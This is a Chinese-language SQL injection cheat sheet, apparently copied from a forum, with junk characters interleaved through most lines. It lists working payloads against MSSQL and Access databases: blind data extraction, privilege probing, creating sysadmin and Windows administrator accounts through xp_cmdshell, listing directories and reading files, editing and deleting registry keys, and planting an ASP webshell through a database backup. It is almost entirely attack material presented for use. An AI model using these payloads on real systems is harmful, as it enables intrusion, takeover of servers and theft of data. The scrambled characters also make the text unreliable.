手工脚本注入
/ D: b3 O# q2 C) A! x8 ?$ e1.判断是否有注入;and 1=1 ;and 1=2 + W( a4 }* h9 z, N* k. F: l
! U0 R( Q! O" t- i9 s. F8 J9 }
2.初步判断是否是mssql ;and user>0 4 P4 Z, x+ x9 A) d& n
0 V2 d! w9 @' N; J q$ Z; d
3.注入参数是字符'and [查询条件] and ''=' 9 G5 J* {0 a% U+ D) K
; o9 r6 p9 X* k* E- j4.搜索时没过滤参数的'and [查询条件] and '%25'=' ; R k# I4 q' @) v
1 n9 B7 o) t9 P N; w( _5.判断数据库系统
" @9 P5 Q( k# E9 w6 s7 N! e;and (select count(*) from sysobjects)>0 mssql F. ~# n$ M" y& v
;and (select count(*) from msysobjects)>0 access 3 S6 d" r* a9 n
: b- {' _3 R7 P# `6.猜数据库 ;and (select Count(*) from [数据库名])>0 " k; v8 W! I% m$ o
- s7 c0 g, I( V3 v7 Q0 Y5 q
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
) a, B3 ^2 j3 f5 x! B# u! _% m0 U! Z8 q% b0 ~ q
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 # B( E; V" w: z. X% h" {% @
5 Y! o, G0 U5 I% O
9.(1)猜字段的ascii值(access)
* B. L0 X) m( J$ u% d1 \# i9 B8 @;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
) m; P2 Q! ~, \' v7 k; j, S
& z9 w% G8 J! |& H7 ^+ a(2)猜字段的ascii值(mssql)
* m( ]: O- p- O5 J: |;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ; E2 P0 @" ]+ T6 \
0 Z% h3 P8 f* T
10.测试权限结构(mssql) # k8 @7 h% Q8 {- j7 I
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
) _8 u" W) R0 ]0 z: Q/ K;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
0 ?; N. b9 x8 D4 y$ m3 L0 D, s;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
6 q e* s4 B/ P* M: Z8 d, c;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
8 A8 I+ V, t% C5 r* U;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
$ M: Y& V" v' P- Q9 d! c;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 0 e) j% L$ F4 P' J% V
;and 1=(select IS_MEMBER('db_owner'));--
" m8 q- u; v6 O: M+ M5 ]8 z- s
2 Z8 l9 M- p/ d- e11.添加mssql和系统的帐户 / n* A' I: u- z7 `& y) f+ k
;exec master.dbo.sp_addlogin username;--
" @. t- E& ]5 [9 W" p# B: R+ ?# k. X
3 z- d$ Z+ ?: _* u5 t- C& B;exec master.dbo.sp_password null,username,password;-- 3 _: ?% G8 y1 f8 \
8 R! k# F: d9 d+ h5 @ r' K, v
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
% ]4 o$ x2 e4 d* l6 _% x: W1 w, l' L0 n/ J+ ~# j6 V& k, z8 {2 @! z( j" w
;exec master.dbo.xp_cmdshell 'net user username password
- l4 N$ Q* z) m# m/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ' R/ l2 {, [6 X1 }4 _
( D: k7 F2 E5 A* \;exec master.dbo.xp_cmdshell 'net user username password /add';-- 6 Q# D& X$ K$ y
9 v' ?5 a% ]$ a5 v
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
$ Z+ C( V5 `( b, m) Z3 n; u
1 R8 T/ I+ N1 N- Y" t12.(1)遍历目录
4 n9 N8 L. v( `3 c2 k0 H3 d7 g4 B u- w8 X" Y
;create table dirs(paths varchar(100), id int)
. w4 y5 D! i, c3 x2 i& @;insert dirs exec master.dbo.xp_dirtree 'c:\' 1 `9 J) @- w, { E3 ]
;and (select top 1 paths from dirs)>0
$ w g) w% c$ T8 y;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
+ l; h9 e# Q, i: ^1 y' f A2 |& b! w }- L
(2)遍历目录
; j4 Y) h$ _8 s3 O* T! h;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ! {) t( \( x, p4 x# f4 y* Z' ^
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
' J. \, n; U! `; p;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
& ?7 r( o$ k; h;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
2 k1 d; y- h8 Y" K;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 1 J: { w: E- ?6 P& Q6 |
' i% e( w" L+ S$ L. m' ~13.mssql中的存储过程
1 f l4 X- Z- Z; \* }' M
( g. Z4 {6 M0 u+ X0 [! `/ }xp_regenumvalues 注册表根键, 子键
7 L8 L6 r8 \& x, ~+ @+ [;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 % {+ v( s& [, b' t' l
5 m9 B" X f; `xp_regread 根键,子键,键值名
* J: ]3 I/ b% s1 t: l7 j" ~;exec xp_regread
1 I" m2 A( u5 ]$ y" }'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 D3 S- N+ F. E* U
8 v5 G- F2 q( C, ~+ ~- q
xp_regwrite 根键,子键, 值名, 值类型, 值 * U& F6 r. E# X
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
! _4 p# f4 ^ k* S1 |+ q: d;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
1 z" D' N6 \' w$ m5 {2 B( M$ y( v- n# ?% Y* e! X
xp_regdeletevalue 根键,子键,值名
% [8 P% T8 Z3 i3 U J) [' y6 ]/ E z
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 9 `1 b: h5 O5 b5 }
+ z1 D0 Q% D* k- y$ }6 @
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 , `4 A' p0 x2 R0 m7 z- x
" _9 H! v6 a- X4 g3 _14.mssql的backup创建webshell
6 M. C* e5 {7 b. ^6 z7 _/ r, _use model
( x, q e$ u/ u# z& G; z/ ~create table cmd(str image);
% w" ?( V3 v5 c9 s( H6 }. A5 X4 ?* linsert into cmd(str) values (''); . d' k; y8 |/ O9 ^" g, g
backup database model to disk='c:\l.asp';
5 W% F' w! w* n7 P3 a: x1 ^! T5 T$ \! O7 V
15.mssql内置函数 5 E5 {; D2 i% _* e$ c
;and (select @@version)>0 获得Windows的版本号 @0 z- m4 ` W4 D9 ~7 j4 w
;and user_name()='dbo' 判断当前系统的连接用户是不是sa . y( J* B8 ~6 t3 ~5 D
;and (select user_name())>0 爆当前系统的连接用户 / _7 J8 W V/ U7 p. }6 }$ }
;and (select db_name())>0 得到当前连接的数据库
# ~+ D+ x& a' S! G+ L9 D2 B& m5 r+ ]' n1 W r
16.简洁的webshell
- ^0 l5 U2 ?. b
7 f0 ~0 k. Y' y0 B) d4 p; Z" x0 ouse model
. u* |1 Z+ v5 g0 ~, l0 k' m3 s
" c5 s7 V0 \3 c1 J6 L- f7 d; acreate table cmd(str image); 6 Q$ v/ z( Y5 L/ |7 r5 R
/ u: M. t. Y! b& j
insert into cmd(str) values ('');
4 h4 {2 n1 ?4 W5 _4 O
q+ ^- H5 `( Y' E! h4 b& rbackup database model to disk='g:\wwwtest\l.asp';
) B, D$ k; v4 q. \. _2 t+ } 2 ?5 x6 X. S: ~# U- s9 ~
|